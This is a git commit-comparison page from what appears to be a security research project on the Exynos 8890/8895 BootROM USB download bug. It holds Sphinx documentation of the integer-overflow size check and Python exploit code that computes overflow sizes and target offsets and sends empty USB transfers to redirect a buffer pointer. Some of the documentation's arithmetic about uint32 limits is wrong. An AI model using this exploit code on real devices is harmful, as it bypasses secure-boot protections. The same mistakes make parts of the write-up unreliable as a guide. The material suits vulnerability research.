Compare commits
No commits in common. "e4c2b7ae02237f2b4be2c724d61b6d6c70227e1e" and "017643949871901502dc4b7c38a150c73c246e3b" have entirely different histories.
e4c2b7ae02
...
0176439498
1
.gitignore
vendored
1
.gitignore
vendored
@ -1,4 +1,3 @@
|
|||||||
dump/
|
dump/
|
||||||
*.bin
|
*.bin
|
||||||
*.a
|
*.a
|
||||||
!dump/exynos-usbdl/
|
|
||||||
|
@ -10,5 +10,3 @@ pip install -r requirements.txts
|
|||||||
```
|
```
|
||||||
|
|
||||||
To get to work, run `source/exploit/exploit.py`
|
To get to work, run `source/exploit/exploit.py`
|
||||||
|
|
||||||
To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml`.
|
|
Binary file not shown.
Before Width: | Height: | Size: 166 KiB |
Binary file not shown.
Before Width: | Height: | Size: 262 KiB |
Binary file not shown.
Before Width: | Height: | Size: 21 KiB |
Binary file not shown.
Before Width: | Height: | Size: 139 KiB |
@ -110,55 +110,19 @@ Other general device descriptors are also sent from the device to the host (to d
|
|||||||
|
|
||||||
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
|
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
|
||||||
|
|
||||||
Bug 1 (Integer overflow)
|
Bug 1(Integer underflow)
|
||||||
------------------------
|
------------------------
|
||||||
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
|
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
|
||||||
|
|
||||||
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
|
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
|
||||||
|
|
||||||
.. figure:: images/usb_setup_ready_to_0.png
|
|
||||||
|
|
||||||
The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
|
|
||||||
|
|
||||||
.. figure:: images/dl_data_struct.png
|
|
||||||
|
|
||||||
The dldata struct in the Exynos 8890 BootROM
|
|
||||||
|
|
||||||
.. code:: c
|
.. code:: c
|
||||||
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
|
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
|
||||||
*(undefined *)&pdVar1->ready = 2;
|
*(undefined *)&pdVar1->ready = 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
|
In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute!
|
||||||
1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal),
|
|
||||||
2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`).
|
|
||||||
|
|
||||||
If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.
|
|
||||||
|
|
||||||
The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.
|
|
||||||
|
|
||||||
.. figure:: images/usb_payload_size_check.jpeg
|
|
||||||
|
|
||||||
The size check in the Exynos 8890 BootROM
|
|
||||||
|
|
||||||
Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.
|
|
||||||
|
|
||||||
.. figure:: images/max_allowed_chunck_size.jpeg
|
|
||||||
|
|
||||||
The max allowed chunk size, after which the payload is split.
|
|
||||||
|
|
||||||
The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.
|
|
||||||
|
|
||||||
The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
|
|
||||||
|
|
||||||
.. code:: c
|
|
||||||
|
|
||||||
typedef struct dldata_s {
|
|
||||||
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
|
|
||||||
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
|
|
||||||
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
|
|
||||||
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
|
|
||||||
} dldata;
|
|
||||||
|
|
||||||
Bug 2
|
Bug 2
|
||||||
-----
|
-----
|
||||||
@ -167,6 +131,7 @@ Bug 2
|
|||||||
|
|
||||||
Might be a 0/N-day if exploitable
|
Might be a 0/N-day if exploitable
|
||||||
|
|
||||||
|
|
||||||
@ELHER
|
@ELHER
|
||||||
|
|
||||||
There is a bug(unpatched?) in receiving the last packet of the usb image:
|
There is a bug(unpatched?) in receiving the last packet of the usb image:
|
||||||
|
@ -14,6 +14,7 @@ author = 'Eljakim, Jonathan'
|
|||||||
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
|
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
|
||||||
|
|
||||||
extensions = [ 'myst_parser',
|
extensions = [ 'myst_parser',
|
||||||
|
'sphinx_rtd_theme',
|
||||||
'sphinx.ext.todo',
|
'sphinx.ext.todo',
|
||||||
'sphinxcontrib.confluencebuilder',
|
'sphinxcontrib.confluencebuilder',
|
||||||
"sphinxcontrib.drawio",
|
"sphinxcontrib.drawio",
|
||||||
|
@ -1,13 +1,3 @@
|
|||||||
sphinx
|
|
||||||
sphinx-autobuild
|
|
||||||
sphinx-rtd-theme
|
sphinx-rtd-theme
|
||||||
sphinxcontrib.confluencebuilder
|
sphinxcontrib.confluencebuilder
|
||||||
sphinxcontrib.drawio
|
sphinxcontrib.drawio
|
||||||
myst_parser
|
|
||||||
libusb1
|
|
||||||
pyusb
|
|
||||||
ghidra_bridge
|
|
||||||
tqdm
|
|
||||||
pyhidra
|
|
||||||
sphinxcontrib.confluencebuilder
|
|
||||||
sphinxcontrib.drawio
|
|
@ -1,4 +1,4 @@
|
|||||||
import usb.util, usb.core
|
import usb.util
|
||||||
import struct, sys, usb1, libusb1, ctypes, usb, argparse
|
import struct, sys, usb1, libusb1, ctypes, usb, argparse
|
||||||
from keystone import *
|
from keystone import *
|
||||||
from capstone import *
|
from capstone import *
|
||||||
@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG)
|
|||||||
|
|
||||||
BLOCK_SIZE = 512
|
BLOCK_SIZE = 512
|
||||||
CHUNK_SIZE = 0xfffe00
|
CHUNK_SIZE = 0xfffe00
|
||||||
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
|
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
|
||||||
|
|
||||||
DL_BUFFER_START = 0x02021800
|
DL_BUFFER_START = 0x02021800
|
||||||
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
|
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End
|
||||||
|
|
||||||
BOOTROM_START = 0x0
|
BOOTROM_START = 0x0
|
||||||
BOOTROM_SIZE = 0x20000 #128Kb
|
BOOTROM_SIZE = 0x20000 #128Kb
|
||||||
|
|
||||||
TARGET_OFFSETS = {
|
TARGET_OFFSETS = {
|
||||||
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
|
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
|
||||||
"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
|
"8890": (0x02021800, 0x02020F08, 0x02070000),
|
||||||
"8895": (0x02021800, 0x02020F18, 0x02070000)
|
"8895": (0x02021800, 0x02020F18, 0x02070000)
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -54,18 +54,18 @@ class ExynosDevice():
|
|||||||
self.connect_device()
|
self.connect_device()
|
||||||
|
|
||||||
def connect_device(self):
|
def connect_device(self):
|
||||||
"""Wait for proper connection to the device"""
|
|
||||||
self.context = usb1.USBContext()
|
self.context = usb1.USBContext()
|
||||||
while True:
|
while True:
|
||||||
self.handle = self.context.openByVendorIDAndProductID(
|
self.handle = self.context.openByVendorIDAndProductID(
|
||||||
vendor_id=self.idVendor,
|
vendor_id=self.idVendor,
|
||||||
product_id=self.idProduct,
|
product_id=self.idProduct,
|
||||||
skip_on_error=False
|
skip_on_error=True
|
||||||
)
|
)
|
||||||
if self.handle == None:
|
if self.handle == None:
|
||||||
continue
|
continue
|
||||||
break
|
break
|
||||||
print(f"Connected device! {self.idVendor} {self.idProduct}")
|
|
||||||
|
print("Connected device!")
|
||||||
|
|
||||||
def write(self, data):
|
def write(self, data):
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
@ -100,7 +100,6 @@ class ExynosDevice():
|
|||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def test_bug(self):
|
def test_bug(self):
|
||||||
# Start by sending a valid packet
|
# Start by sending a valid packet
|
||||||
# Integer overflow in the size field
|
# Integer overflow in the size field
|
||||||
@ -129,16 +128,14 @@ class ExynosDevice():
|
|||||||
|
|
||||||
def exploit(self, payload: bytes):
|
def exploit(self, payload: bytes):
|
||||||
'''
|
'''
|
||||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload
|
||||||
'''
|
'''
|
||||||
current_offset = TARGET_OFFSETS[self.target][0]
|
current_offset = TARGET_OFFSETS[self.target][0]
|
||||||
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
|
|
||||||
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6
|
||||||
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
|
||||||
max_payload_size = 0x100000000 - size_to_overflow
|
max_payload_size = 0x100000000 - size_to_overflow
|
||||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
|
||||||
|
|
||||||
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
|
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
|
||||||
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
|
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
|
||||||
@ -155,7 +152,7 @@ class ExynosDevice():
|
|||||||
|
|
||||||
cnt = 0
|
cnt = 0
|
||||||
while True:
|
while True:
|
||||||
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
|
||||||
break
|
break
|
||||||
self.send_empty_transfer()
|
self.send_empty_transfer()
|
||||||
current_offset += CHUNK_SIZE
|
current_offset += CHUNK_SIZE
|
||||||
@ -336,17 +333,15 @@ def usb_debug():
|
|||||||
send_data()
|
send_data()
|
||||||
recv_data()
|
recv_data()
|
||||||
count += 1
|
count += 1
|
||||||
|
pass
|
||||||
|
pass
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
arg = argparse.ArgumentParser("Exynos exploit")
|
arg = argparse.ArgumentParser("Exynos exploit")
|
||||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||||
|
|
||||||
# Debug mode
|
|
||||||
args = arg.parse_args()
|
args = arg.parse_args()
|
||||||
if args.debug:
|
if args.debug:
|
||||||
usb_debug()
|
usb_debug()
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
exynos = ExynosDevice()
|
exynos = ExynosDevice()
|
||||||
exynos.run_boot_chain()
|
exynos.run_boot_chain()
|
||||||
|
Loading…
Reference in New Issue
Block a user